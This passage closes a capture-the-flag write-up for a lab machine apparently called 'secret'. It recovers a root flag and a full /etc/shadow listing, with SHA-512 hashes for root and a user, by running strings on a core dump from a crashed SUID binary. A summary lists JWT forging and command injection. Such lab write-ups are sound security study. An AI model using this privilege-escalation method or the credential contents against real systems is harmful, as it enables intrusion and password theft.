-rw-r--r-- 1 dasith dasith 380928 Nov 1 14:32 CoreDump
-rw-r--r-- 1 dasith dasith 24 Nov 1 14:32 Date
-rw-r--r-- 1 dasith dasith 12 Nov 1 14:32 DistroRelease
-rw-r--r-- 1 dasith dasith 10 Nov 1 14:32 ExecutablePath
-rw-r--r-- 1 dasith dasith 10 Nov 1 14:32 ExecutableTimestamp
-rw-r--r-- 1 dasith dasith 5 Nov 1 14:32 ProblemType
-rw-r--r-- 1 dasith dasith 10 Nov 1 14:32 ProcCmdline
-rw-r--r-- 1 dasith dasith 4 Nov 1 14:32 ProcCwd
-rw-r--r-- 1 dasith dasith 53 Nov 1 14:32 ProcEnviron
-rw-r--r-- 1 dasith dasith 2144 Nov 1 14:32 ProcMaps
-rw-r--r-- 1 dasith dasith 1336 Nov 1 14:32 ProcStatus
-rw-r--r-- 1 dasith dasith 1 Nov 1 14:32 Signal
-rw-r--r-- 1 dasith dasith 29 Nov 1 14:32 Uname
-rw-r--r-- 1 dasith dasith 3 Nov 1 14:32 UserGroups

We have the coredump file so let’s check it out using strings or else it will give out gibberish output.

1
2
3
4
5
6
7
8
9
dasith@secret:/tmp/oopsie$ strings CoreDump
......snip......
Path: esults a file? [y/N]: words = 2
Total lines = 2
oot/root.txt
9a63b8e79189a6329d9a5b5eb241ead8
aliases
ethers
......snip......

Looks like we have the root flag.

  • use the same way get the root hash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
root:$6$/0f5J.S8.u.dA78h$xSyDRhh5Zf18Ha9XNVo5dvPhxnI0i7D/uD8T5FcYgN1FYMQbvkZakMgjgm3bhtS6hgKWBcD/QJqPgQR6cycFj.:18873:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
sys:*:18659:0:99999:7:::
sync:*:18659:0:99999:7:::
games:*:18659:0:99999:7:::
man:*:18659:0:99999:7:::
lp:*:18659:0:99999:7:::
mail:*:18659:0:99999:7:::
news:*:18659:0:99999:7:::
uucp:*:18659:0:99999:7:::
proxy:*:18659:0:99999:7:::
www-data:*:18659:0:99999:7:::
backup:*:18659:0:99999:7:::
list:*:18659:0:99999:7:::
irc:*:18659:0:99999:7:::
gnats:*:18659:0:99999:7:::
nobody:*:18659:0:99999:7:::
systemd-network:*:18659:0:99999:7:::
systemd-resolve:*:18659:0:99999:7:::
systemd-timesync:*:18659:0:99999:7:::
messagebus:*:18659:0:99999:7:::
syslog:*:18659:0:99999:7:::
_apt:*:18659:0:99999:7:::
tss:*:18659:0:99999:7:::
uuidd:*:18659:0:99999:7:::
tcpdump:*:18659:0:99999:7:::
landscape:*:18659:0:99999:7:::
pollinate:*:18659:0:99999:7:::
usbmux:*:18852:0:99999:7:::
sshd:*:18852:0:99999:7:::
systemd-coredump:!!:18852::::::
dasith:$6$RM7seX/Mzkds2S1x$.vkOBt4kRfs/6JRApNqvzZ1zM6W1FK8kNKyoBOVSuZbrdlOw.vPj2D7VC0y0sz2Eg2z5rj.GdK2ApMBFynjmR/:18873:0:99999:7:::
lxd:!:18852::::::
mongodb:!:18852:0:99999:7:::

Summary of knowledge

  • .git dump with GitTools
  • js code audit
  • Git Dump Enumeration find jwt TOKEN_SECRET
  • forge jwt token with jwt_tool
  • Command Injection with “;”
  • SUID Binaries PrivESC with CoreDump crash information leackage

Contact me

  • QQ: 1185151867
  • twitter: https://twitter.com/fdlucifer11
  • github: https://github.com/FDlucifer

I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…